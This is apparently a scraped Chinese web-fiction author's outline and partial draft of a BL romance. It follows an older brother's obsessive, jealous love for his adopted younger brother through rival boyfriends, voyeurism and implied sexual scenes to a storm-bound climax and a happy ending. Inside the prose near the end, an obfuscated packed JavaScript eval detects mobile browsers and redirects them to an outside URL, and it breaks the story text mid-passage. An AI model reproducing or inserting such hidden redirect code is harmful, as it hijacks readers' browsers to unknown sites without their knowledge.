第二天起来的哥在余韵中重新陷入痛苦之中。 会被弟这样甜甜蜜蜜对待的人并不是他,也永远不是。 第二天。 察觉到通话记录的攻1打电话。 他说哥很恶心,质问他作为哥哥视煎弟弟左哎到底怀揣怎样的想法。 哥的脑海中闪过弟梦中的样子,他的罪恶幻想,以及对弟男友的嫉恨。哥已经开始扭曲,连被弟弟的男友、自己的旧日发小这样质问,哥都会觉得爽。 爽的不是被质问,而是他畸形潮湿古怪的爱被发现被凝视被愤怒地指责,显得很有存在感。 弟会有一天发现吗? 他想。 想到这个,他的血液都开始沸腾。他怕邬真知道,又想要邬真知道。 哥的嫉妒和发疯无法休止地蔓延,攻1的猜忌和敌意更是来势汹汹,昔日发小发展到势不两立的地步。 此极端情况下,真真的第二次醉酒作为导火索。 这一次货真价实的亲吻被攻1撞到,爆发史无前例的争吵(说实话每次写吵架我都会很爽) 因为太爽了所以直接抄送一段过来! “我不会和邬真分手的,不会的…不会的,不会的!” 方奕白的声音紧绷,阴沉地扯着嘴角。 “你们亲过又怎么样,哪怕你哄得真真和你上了床,我们也不可能分手的,不可能,听明白了吗?!” “你吻他的时候难道想不起他小时候握着你的手喊你哥哥的样子吗?你怎么能这么不要脸,你怎么能这么恶心,他是你的弟弟,你看着他长大的!” “轰隆——” 窗外的雷声猛烈地闪过。 世界瞬间堕入一片恐怖的寂静和煞白之中。 一闪而过的亮光中,贺诚的眸子剧烈地震颤了下。 他额角的青筋跳动,语速平稳道,“那你呢?” 方奕白眼皮抽搐了下,“什么?” “你呢?”贺诚重复,“从小到大不是一直想要抢哥哥的位置吗,不是一直以哥哥的身份自居吗,不是觉得如果你来当哥哥会比我做得好得多吗?” 贺诚扯了下嘴角,看向玻璃窗里安稳睡着的邬真,“你吻邬真,在他的身上留下痕迹的时候,有想过你曾经那么热切那么渴望他是你的弟弟吗?有吗?” 方奕白嘴唇张合了两下:“这不一样。” 贺诚:“这有什么不一样?” “我和他没有血缘……” “难道我有吗?” 方奕白似乎抓住了他的把柄。 “你不是很希望有吗?” 他那双深棕色的眼睛里闪烁着火花的光影。 “你不是一直很想要自己是邬真的亲哥哥吗?” 雨下得太大了,在这个孤寂的夜晚,大到贺诚的心跳声也如此吵杂。 他面无表情,看着方奕白。 方奕白扯着嘴角,微笑着说,“你不是恨不得你和他是同样的姓氏,有同样的血脉,生前死后都同根同源吗。” “你以前不是总和我说,你真的在把邬真当自己的亲弟弟看吗?” “你不是始终觉得你们不够亲密的关系可以在血缘中得到解脱吗?你不是很想要他摆脱不掉你的关系吗?” “贺诚,你我两个,谁的罪孽更重啊,谁!” “你在用亲哥哥的心态接受真真的吻吗?” “你想要乱——” “砰!” 方奕白后背突然撞到墙壁上,脸孔在巨大的力道之下偏移了过去,牙齿擦破了口腔粘膜渗出血来。 他偏着头,带着嘴角的血痕抬起眼,表情在大雨的光影之中阴沉,很突兀地笑了声。 贺诚收回拳头,紧握在身侧,青筋从手背爬起,蛇一样地扭曲着。 黑发黑眸的男人冷漠地看着自己的朋友。 “管好你的嘴。” 他后背一片冷汗,声音沙哑。 “……疯子。” -end- 这里本来打算卡到v章的,我觉得写得我心里爽爽的赫赫赫赫。感觉卡v章效果一定非常之好。 2.和攻1分手后哥的暴露 真真发现了。 以己度人,觉得哥对他的爱并不是爱人的爱而是亲人的爱。哥只是接受不了他的远离,而用另一个足够接近真真理由说服了自己。 “我想知道哥能对我做到什么程度,”邬真坐在沙发上。窗外的大雨淅淅沥沥,连带他整个人像是被单薄又湿重的雾气笼罩。 绿眼睛被额发遮挡,有深邃的光泽,看着他,“我不会动,你来吧。” “如果什么都做不到,哥就必须承认自己对我的爱就是亲情。” 他不知道哥心如擂鼓无法自拔。 哥握住真真的手。 真真说就这种程度 随后是十指相扣,亲脸亲嘴亲脖子,亲吻一步步下移,几乎是在模仿方奕白的亲吻步骤,他在那通可恨的电话里听到的那样,在他的梦中曾有过的那样。 哥的吻落到胸口,真真紧闭双眼。 为什么不夸赞他。 为什么不说他做得好棒。 他不是对方奕白都能这么说吗? 哥继续下去。 哥的吻落在他的身上就已经足够可怕,真真根本不敢多想,尽管被亲的忍不住哆嗦,也一味告诉自己这是哥哥他们没问题。他不想破坏这样的关系。 忽然,邬真感觉不到哥的吻了。 虽然感觉不到,却有让人毛骨悚然的呼吸特意在逼近危险的地方。 他忍不住睁开眼。 哥一手和他十指相扣,一手握着他的小腿。 宽阔体型如同野兽半跪在地上,眉眼低垂静静看着他的…… 邬真一瞬间头脑宕机,他已经从第一段恋爱中精准判断出了哥的意图。 他绿眸睁大,汗如雨下,“哥,”他叫起来,“不、不,不可以!” 哥把脸贴在他的小腹。 温暖,光洁,平坦,有让人着迷的暖融香气。偶尔的痉.挛颤抖令人着迷。 邬真艰难地提着一口气喘气,手推着哥硬实的肩膀,手都在抖。 “为什么不可以?” 贺诚问。 “不是不相信我的爱吗?” “不是觉得我对你的爱只是畸形的亲情,扭曲的嫉妒吗?” 他的手指真的拉下弟弟的裤腰,把自己的侧脸蹭了上去,对他来说没有办法升起半点厌恶的心情,甚至像是有钩子一样钓着他的鼻子往前凑。 邬真在极端的惊讶中啪一下踹开他,叫他疯子,然后立刻说对不起不应该这样叫哥。 这一次“哥哥”两个字从他口中吐出的时候,贺诚感受到他明显的停顿和迟疑。 邬真衣服都乱了,浑身被亲出来的红印子,他从头到尾都没有一句对哥的夸赞,这么擅长夸奖别人赞许别人的人,一直一言不发。 邬真狼狈地坐在沙发上,露出大片白皙的皮肤,手摁在哥的肩膀说对不起,说他不该怀疑哥,但又说他们不可以继续,他们是兄弟。 邬真的绿眼睛看着他,睫毛垂黏着,里面像是含了一汪水。 他说,“哥忘了吗,哥说要永远做我的哥哥。” 自私的小骗子。 他还说过要和哥哥结婚,这时候怎么不提? 之后的一周,真真和他照常相处。 他们两个人默契地忘掉这个混乱的夜晚,又成为以前一样亲密的兄弟。 依然会牵手,依然会晚安吻。 像是一种故意的逃避和证明,证明他们一直都是这样,证明他们之间没有别的情愫和嫌隙。 直到一周之后,弟交往了新的男友。 楚天呈(yes就是那个遛狗男 3.替身文学 真真谈的第二个男友和哥长得有微妙相似,他只想着快点转移注意力,根本没有察觉到这一点。 但哥在看到的第一瞬间,就在翻江倒海。 和攻1谈恋爱的时候,真真会感受到哥的很多情绪带着抵抗意味。 而这次没有。 哥直勾勾地看着弟在和一个与自己相似的人谈恋爱,幻想和弟恋爱的人就是自己。 而偏偏邬真犯了致命的错误。 管男友叫哥,又对哥喊出男友的名字。 男友叫楚天呈,邬真会叫他阿呈。 这本来没什么,但贺诚的名字和男友同音。 醉酒之后邬真倒在沙发上阿呈阿呈地喊。 贺诚知道弟弟在喊的人不是他,可是他沉默着,一步步靠近,额头豆大汗水往下滑。 对弟亲近的渴求一遍遍出现在他的梦中,现实中他和邬真之间却好像永远有距离。 要怎么才能离弟弟更近。 要怎么才能被弟弟在意。 再怎么才能拥有弟弟的夸奖,温柔的笑脸,主动的亲吻? 做弟弟的男朋友就可以了吗? “怎么不亲亲我?” 邬真醉的糊涂,眼泪湿痕洗得他的眼睛好亮。 贺诚被他拉拽的倾身,视线凝聚在弟弟的嘴唇上,呼吸近在咫尺。 他模仿弟弟男友的声音,轻声喊他宝宝。 心脏漏拍,强烈的罪恶的可憎的刺激感翻涌上来。 他在做一件错事。 然而更错的是他刻意偏过脸,对邬真露出和他男友更相似的半张侧脸。 邬真和他贴近,额头抵在一起,嘴唇吻到他的脸颊,说有点喜欢他。 话音未落,嘴角一热,哥吻到他的唇上。 他说我知道,然后受了很大刺激一样,如饥似渴地嘬弟弟的嘴唇,还要顺手把灯关掉。 邬真迷迷糊糊地抱着他回应,问他为什么要关灯。 哥说灯太亮了。 邬真说,你之前不是喜欢开灯吗? 贺诚很久没应声,邬真等到更用力的吻。 哥头脑都炸开一大片的烟花。 对不起弟弟的男友,但是他真的为这种感觉着迷。 他离邬真好近,邬真软绵绵地倒在他的怀里,眼睛被距离模糊成梦一样的绿影。 邬真喘着气,绿眼睛眯着点泪水看着他,脸被亲的很红,嘴唇也是,昏暗中简直有一种很可爱的瑟.情感,他的弟弟就用这样的表情,这样贺诚从未有幸见过的表情,忽然对他说,阿呈,你今天身上的味道好像我哥哥。 贺诚整个人就要开始倾倒了。 “是吗?” 黑暗中贺诚在他的嘴角轻吻,情绪卑微又汹涌,吞吃弟弟的口水,轻吮弟弟的嘴唇,声音轻轻地自虐一样地问他。 “那你是在和你的哥哥接吻吗?” 邬真说:“别开这种玩笑。” “他是我哥,我们之间什么都没有。” 没有吗? 上次的亲吻算什么。 他甚至差一点都能吻到弟弟的—— “说不定你哥想亲你很久了,”贺诚忽然说,“你看得到他的眼神吗?他看你的眼神。有没有觉得很恶心?” 贺诚用一个旁观者的视角提起自己,想听弟的回应。 但邬真没有给出回答。 哥在之后对自己的脸陷入了嫉妒和自卑,同时步入微妙的模仿情结。 会不动声色地问弟弟的男友用了什么香水。 男友说是邬真送的 哥又是一阵嫉妒,买回家喷到自己的衣服上。 还会用这件喷了男友香水的衣服以男友的身份给弟舔舔,问他比上次舔的有没有更好 邬真真的开始对比,稀里糊涂说的一堆怪话让贺诚又发疯又爽。 他在错误的路上越走越远,可是这一次心甘情愿。 有次,哥无意中叫了弟宝宝。 真真愣住,“哥,你叫我什么?” “宝宝。” “你男朋友都能这么叫,我不能吗?” 贺诚这么回答。 邬真瞬间想起了很久以前他们之间见不得光的那一次试探。 他说,哥,不能。 尊重、爱和欣赏,像蜂蜜糖浆的纵容和许可,是邬真给男友的特例,哥明明什么都没有,却越来越深陷其中。 4.男友视角 楚天呈一开始完全没察觉到哥弟关系哪里不对味。 因为之前不认识,所以以貌取人的话,在他看来哥是沉稳值得尊敬的哥,和真真关系很好不是坏事。 本来这里是我最期待的一部分。 全都是细节。 哥的手机壁纸是真真,哥的联系置顶是真真,哥总是穿和真真同款的衣服或者把同一套拆成两半穿,哥的房间里有真真的衣服。 这一切都是方奕白不会发现的事情,他嫉妒他憎恶可是居然连他都已经习惯了!他发现不了。 只有陌生人男友会发现。这就是我设置方奕白的另一个用意,这个对比会让哥弟的关系显得既不正常又很正常。 尤其是壁纸。 哥拍的真真睡觉的侧脸。哥习惯到根本不会想到自己的壁纸有什么不对,是男友问为什么要把弟弟的照片设置成壁纸,哥才会察觉到正常兄弟不会这样,把照片反扣下去说没什么。 除此之外的细节还有很多很多啊 我全都积极努力做了设置 哥的车载音响是弟喜欢的活泼的轻音乐。 真真出门会把书包随手挂哥脑袋上把他当衣架。一通稀里糊涂的电话就能把加班中的哥喊过来,皱眉表示不满却完全任劳任怨,把西装外套脱下来把弟裹走,对他们说:劳驾了。完全一副男友来接女朋友的做派。 但只有男友一个人觉得不对,其他人都嘻嘻哈哈地说你疯了吧他们是兄弟啊。 一步步加重的疑虑,一步步发现哥的爱很奇怪。奇怪到在地瓜发帖会爆流的那种万人声讨的奇怪。这是世俗上的异常,但处在哥弟生活圈的人却被同化了,这是我原定的爽点中的爽点。很畸形但是很爽啊。 因为身边所有人都说正常啊正常,男友就看着哥弟亲密,觉得是自己想太多。 全文的高潮和结局就在这个过程中推进。 暴雨天气,男友被困在哥弟的度假别墅。 别墅在半山腰,毕竟是别墅区,周围的防护做得很好,但真真觉得有山体滑坡的风险,让男友留下来。 于是晚上男友和弟内个的时候,被来找他的哥撞见。 门没关严,风一吹就开了个缝。 室内昏沉灯光,黏腻的声响,真真宽容的温柔的认可的态度,都是折磨哥的利剑。 哥耳膜被堵,一阵可怕的寒流席卷他。他以为时间过了很久,但实际才几秒钟。男友叫弟宝贝,说好爱他。这些话哥都没能光明正大地说过,他嫉妒男友能说得这么轻易,他一直在看,一直在偷窥,有一瞬间觉得方奕白说得对极了,也许他真的有偷窥癖。 他真的在偷窥弟和他的男友昨哎,阴暗地幻想那个被弟拥抱接吻的人是自己。 男友和哥的侧脸太像了,像到哥有这种幻想也显得合情合理。他的视线仔细又变态地凝聚在弟弟的身上,嫉妒和愤怒之中调和出一种古怪的情绪,他看他雪白的汗津津的皮肤,被吻的时候衔住一缕黑发的嘴唇,呼呼的喘息,温柔又甜美的赞许。 那不是楚天呈,那就是他,是贺诚,和弟弟□□的人是哥哥,被弟弟夸奖的人也是哥哥。 他们之间的关系,因为真真的男友而变得更加亲近。难免贺诚感受到罪恶的窃喜和一种诡异的怨毒愤怒和超出□□灵魂上的注视。 哥又做梦了。 每次做梦都是哥的一种折磨。 求而不得的弟弟,可爱的迷人的弟弟,梦里才能是他的爱人。 第二天起床,哥若无其事地给真真做早餐,邬真呼噜了一嘴,抬下巴要擦脸。 哥和男友同时伸手,对视,男友掰着弟的脸转过来笑眯眯给擦,说你多大了还要擦嘴。 其实心里砰砰跳。他觉得很奇怪,弟一抬头哥就伸手,显然已经是某种习惯。 平时哥弟就是这么相处的吗?但谁家的哥弟会这么相处? 他找了有哥弟的朋友问他怎么和哥/弟相处,大多数人回答他哥弟就是玩伴亲人,少数人告诉他是仇人,还有人说长大之后天各一方已经不熟悉。 被问会不会给弟擦嘴,友人回答我直接给他两耳光还擦嘴,怎么不让我给他擦屁股呢。 男友又问你觉得如果哥给弟擦嘴会是什么情况。友人说他有毛病把和哥弟过不去了?然后又说,弟生活不能自理吧勉强照顾一下是可以的。但是正常哥弟就是嬉笑打闹互相掰头居多,擦嘴这种事更会出现在恋人之间吧。就算是小情侣这样他都觉得恶心呢。 男友被他的话一震。心脏轰隆隆地响。他好像捕捉到了什么,但根本无法细想。 因为住在真真家里,他和哥的亲密一览无余。邬真睡不着晚上还会去找哥,工作中的哥立刻放下工作陪他聊天。被男友发现,他推开门的时候两个人都并不惊慌,态度很平常。 但男友还是觉得好奇怪。 男友搂着真真走了,问真真一直和哥这样吗?真真说他小时候自己睡不着,哥一直陪着,哥对他来说就是一款硬邦邦的阿贝贝。 男友僵尸机器人一样重复问,所以你们一直这样?长大之后也……真真奇怪地看他,是啊。 男友说你不觉得很奇怪吗?没有哪个哥弟会在成年之后这样躺在一张床上,他拍着你的肩膀把你带进怀里,嘴巴都快贴着你的脸…… 真真说你说得好奇怪。 男友没说话了,不是他说得奇怪,而是他们本来就很奇怪。 哥弟的相处甚至不避讳男友,因为他们觉得这种亲密非常正常,所以并不心虚。 其实这种亲密都已经克制过了,因为他们知道自己不正常。可是竭力克制之后自以为正常的一切暴露在别人眼前,别人仍然觉得是扭曲的。这就是我的一点点谷壳爽点。。 他们一直都这样相处,也没有人觉得不对。他们只是稍微亲密一点的兄弟,但兄弟本就是亲人,稍微亲密一点有什么不对?只有男友觉得不对,只有喜欢弟的人才能看出来,哥根本就是在用对待恋人的方式在爱弟。他们在这种不对劲的生活中蒙起眼睛继续生活。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16381180|182781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在男友眼里,疑点越来越多。 (此男友不知道哥弟不是亲生的,所以才会反复怀疑反复推翻,belike:他们可是亲兄弟啊!但他们这样真的不正常,如此往复 1.他发现真真久远的游戏账号和哥绑定了情侣关系,一百级。邬真说那是为了活动,贺诚也干脆利落地同意了解绑申请。 一切好像都没有问题。 2.哥给弟当过挡箭牌。 在弟被追求者纠缠不休的时候,他曾经拽着哥的衣服说这是他的男朋友。 哥没有一丁点反对。 他搂着邬真的肩膀,说我是。 这是男友偶然听邬真朋友提起的,大家都在当玩笑看。 但男友觉得不对,非常不对。 3.他看到哥一直在盯着邬真的影子。 一直看,看了很久。 也许只是在发呆。 但是还是让他觉得心里很怪。他不知道自己在怀疑什么,他们不是亲兄弟吗? 为什么他的怀疑根本停不下来。在这个暂时逃离不了的暴风雨别墅里,他的眼睛放大了能够捕捉到的全部细节。 4.真真从哥的身边路过,他的衣摆从哥的手上蹭过去,贺诚的青筋都会跳一下。这简单又毫无道理的场景,都让楚天呈看了眼皮一跳。说不上的不安。 然而他又能说什么呢? 说贺诚的手是故意摆在那里,等着被邬真的衣服蹭的,被邬真的衣服蹭一下他也会很爽? 那真是荒谬,简直毫无道理。 5.走进邬真的房间贺诚会深吸一口气,楚天呈会觉得贺诚在为嗅到真真的气味而满足快慰。 他觉得自己犯了疑心病。 6. 楚天呈总觉得贺诚和邬真之间有点什么。这是一种直觉还是什么?他也不好说。手心里全是冷汗,他整个人都要变成厚重的湿抹布,夹在贺诚和邬真的目光中拧出一股又一股的冷汗。 一次谈话中。 无端的憎恶让他眼皮痉挛了下,蓦地开口,“贺诚哥,你帮我劝劝他。” 贺诚的反应很平常,“有了男朋友,哪里需要我劝。” 他把这个话题推开了。 他总是这么平常,作为一个弟控哥哥对弟弟的男友居然没有太大的敌意! 平常到让楚天呈觉得不对劲。 7. 楚天呈忽然有了一种非常异样的感觉。好像邬真身上的优点都给他看了,原本是件好事,可缺点却只有贺诚知道。只有贺诚知道。这其实也不太对劲。 8.暴雨天停电,蜡烛和真心话大冒险,诡谲的氛围畸变的影子。 “你亲过他吗?” “我为什么会亲他。”贺诚挑眉,“我是他哥。” 是哥哥,不是情人。没有亲吻的道理。贴面礼和热情的表达是国外的事情,贺诚和邬真之间不这样。他和邬真的相处方式仅仅是拥抱,睡在一张床上,哄弟弟睡觉。 但无论是贺诚还是邬真 他们都很清楚 亲过,他们亲过,不止一次。 在楚天呈面前,他们没有对视。 9. 真心话大冒险之后,邬真去阳台透风,哥跟上,谈起接吻的话题,被男友亲眼撞见。 他心里猛地一跳,有条死鱼剧烈地挣扎了一下。奇怪的感觉,镇定得可怕,楚天呈好像早猜到有这样一天。他走进去,两个人的距离不算近,但也不远。像是寻常的聊天。 但不正常。 楚天呈莫名其妙地想,果然不正常,的确不争吵。终于来了。他等这一天很久了。 他恨贺诚恨得无与伦比,可从没有一个具体的理由能针对他。他是邬真的哥哥,这是怎样一个遮羞布!所有人都说,他们这样是正常的,那样是正常的,唯独楚天呈知道,不是的。 10.男友逐步靠近的过程,忽然意识到哥侧脸和自己的相似。 哥和自己的名字同音。 这可怕的一切基于可疑的猜测和幻想更加变味 邬真看着他的时候在想谁? 邬真喊他名字的时候又想呼唤谁? 他有没有认错过? … 总而言之,这些很多片段结合在一起之后,推进了本文临近结局的高.潮。 依然暴雨闪电。 男友质问,“你敢说你对他什么心思也没有吗?贺诚你告诉我!” 雷电交加映亮男友狰狞面庞,还有他悲戚眼中哥的冷漠倒影。 “为什么你不谈恋爱不结婚,为什么你整天都在围着邬真打转,为什么你三句话不离邬真,为什么你说如果你不是邬真的哥哥你会比我还要爱他?!” “回答我!” “你们接过吻了是吗,什么兄弟会接吻啊,你看着自己的弟弟会意淫吗,你做过关于他的春.梦是吗,他是你的弟弟!太龌龊了,贺诚,你真的让我觉得恶心。” “你知道你自己有多恶心吗?!你爱上了你的弟弟!这是峦.仑!!” “闭嘴!” 哥怒吼起来,“我们的事情用不着你管!” 他无法否认听到这句话心口倏然涌上的快感,扭曲得要命,这是对他和弟之间感情的最佳肯定。 男友无能为力,煎熬痛苦,感觉自己在被火焰疯狂地灼烤着。 邬真不能再放任事态继续下去。 他没有想过要伤害谁,他真的有在好好地和男友谈恋爱。但是被困在别墅里让一切的问题都暴露出来了。 他说,“我们分手——” 他想把楚天呈推开点好好跟他说话,然而楚天呈却使劲抱紧了他。 “不要分手。”他苦涩的声音响起。“不要分手,真真……” 他真的太喜欢邬真。 太爱邬真了。 他从来是不敢轻易说爱的,他怕邬真觉得他轻浮,不重承诺。爱这个词的重量被弱化了千次百次一万次,可是在楚天呈这里他还是原模原样的重量,爱是好的,爱是温柔的金子,爱是不间断的时光,爱是想要和他生活,爱不是永恒,爱是无数个明天。 在邬真不知道的时候,楚天呈一直看他。 他好喜欢邬真。 他的意气风发,少年志气,笑起来的时候弯起来的水芹般的眼睛。简直是一种痛苦的嫉妒,他的胃他的肠子他的器官嫉妒自己只有眼睛能看到邬真,嫉妒只有手能感受到邬真,嫉妒只有嘴唇能吻到邬真。这样折磨一般的迷恋,像奇异的幸福,又像狂热的崇拜,在他和邬真交往的时间内,只有自己清楚,他到底有多离不开邬真。 楚天呈把自己靠在邬真的肩膀上。邬真忽然感受到了湿润。他哭了。 “要我做什么都可以。”楚天呈说,“不要分手。” “求你了真真。” “你们要在一起也好,随便,随便吧!可能是我想多了,你们只是兄弟,对不起,是我臆测太多,这不应该。”他胡言乱语了许多,“我们就当这一切从没有发生过,我们还是好好在一起,好吗,好不好真真?” 邬真看向贺诚。 楚天呈发现邬真在看贺诚的时候,因为无法讨厌邬真,只能加倍地憎恨贺诚。 这个破坏他们关系的人,这个罪魁祸首,这个以兄弟之名隐藏情感的见人。 这个暴雨天让所有人都很狼狈,又都被困在一个别墅里,必须解决问题。 奇怪的关系开始发展。 男朋友不愿意分手,哥不愿意放手。 邬真需要从他们之中选一个。 和男友接吻的时候不专心,楚天呈问他,“在想你哥?” 楚天呈会使劲浑身解数讨好他,竭尽全力让邬真没有办法再想其他人。 午后的餐厅。 哥翻开他的领子检查他的脖子,低头覆盖了男友的吻痕。 “你是我的弟弟。”哥喃喃。 总之就是两个男的狠命攻竞取悦邬真的戏码。男友和哥阴暗爬行给弟当狗嫉妒到发疯。 临近结局。 真真终于做出了决断。 毕竟是1v1嘛 决断时刻的这一段我也写了! “我不是因为觉得你可怜,委曲求全,卑微所以选择你,哥说过,我的世界里只有我自己最重要,所以,哥的卑微,难堪,糟糕的成全,你的痛苦,难过,因为我而产生的失神落魄忐忑不安,我本来都可以视而不见!在我的人生,我的选择里,另一个人的心情从来都没有我的感受重要。” “我选择哥哥,只有一个原因。” 贺诚的心脏狂跳。 “哥。” 大雨中。 邬真看着他,开朗地笑起来,手伸开,狂风卷走他的伞,他很快变得湿漉漉起来。 雨是黑的,重的,再带不起他的一片衣角。 “现在来抱我,吻我吧,因为我们终于心意相通了。” 伞没拿稳,邬真后悔了,他嘴巴里都是雨水,想装酷结果很狼狈,可恶人生果然不是影视剧!邬真如是想到。 很快泥泞的脚步声靠近,贺诚一把搂住他,用力地吻下来,他脸上,头发上,全都是雨水,邬真却感觉到温热的液体也随之流淌下来。 全文高.潮彻底结束,剩下的就是哥弟的最后阶段。 那就是俩人谈恋爱之前,大家以为他们是恋人 恋爱之后,大家却又觉得他们是兄弟 贺诚开始用一切外在形式彰显存在感。 情侣戒指戴上。 别人:哈哈哈你们兄弟俩关系真好还用同款! 情侣项链 别人:哈哈哈你们兄弟俩关系真好还用同款! 情侣外套 别人:哈哈哈你们兄弟俩关系真好还用同款! 接吻了 别人:哈哈哈你们兄弟俩关系真好还亲嘴子! 总之这么啼笑皆非一般地结束了 但哥的痛苦没有结束。 邬真选择了哥,但哥却并不能十足的放心。因为他觉得邬真可能是因为对他的亲情的爱、对兄弟手足的爱,所以委屈自己,埋没了自己的情感,选择了他。他越发从中感受到自己恶心,卑劣,糟糕,和弟弟的无私,伟大,圣洁。 哥患得患失无法自拔,在漆黑的泥潭中越陷越深。 “你爱我吗。” 他亲弟的额头,热切又渴望又绝望地吻他的脸颊。 邬真:“今天多爱你一点儿吧。” 全文end 本来番外我都想好了,写哥对弟坦白自己悄悄做他男友替身的事情、还有哥视角的日记、攻1攻2的阴暗爬行,过年闹别扭分手结果还是要一起吃饭什么的! 但是就结束了 结束了,再见真真,对不起真真,我其实真的有好好构思这个故事。